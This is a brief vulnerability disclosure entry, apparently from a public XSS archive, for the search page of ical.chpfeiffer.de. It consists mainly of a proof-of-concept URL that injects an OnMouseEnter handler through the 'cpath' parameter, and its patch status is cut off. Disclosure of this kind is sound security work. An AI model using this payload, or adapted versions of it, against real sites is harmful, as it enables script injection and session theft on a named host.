ical.chpfeiffer.de XSS vulnerability

Vulnerable URL: http://ical.chpfeiffer.de/search.php?cpath=1%22%27%20Style=position:fixed;top:0;left:0;font-size:999px;%20OnMouseEnter=confirm1%20//=DE%2BHolidays%2CFHM%2CUS%2BHolidays%2CWM2006=20171001=asd&submit.x;=0&submit.y;=0 Details: Description| Value ---|--- Patched:| Verification in...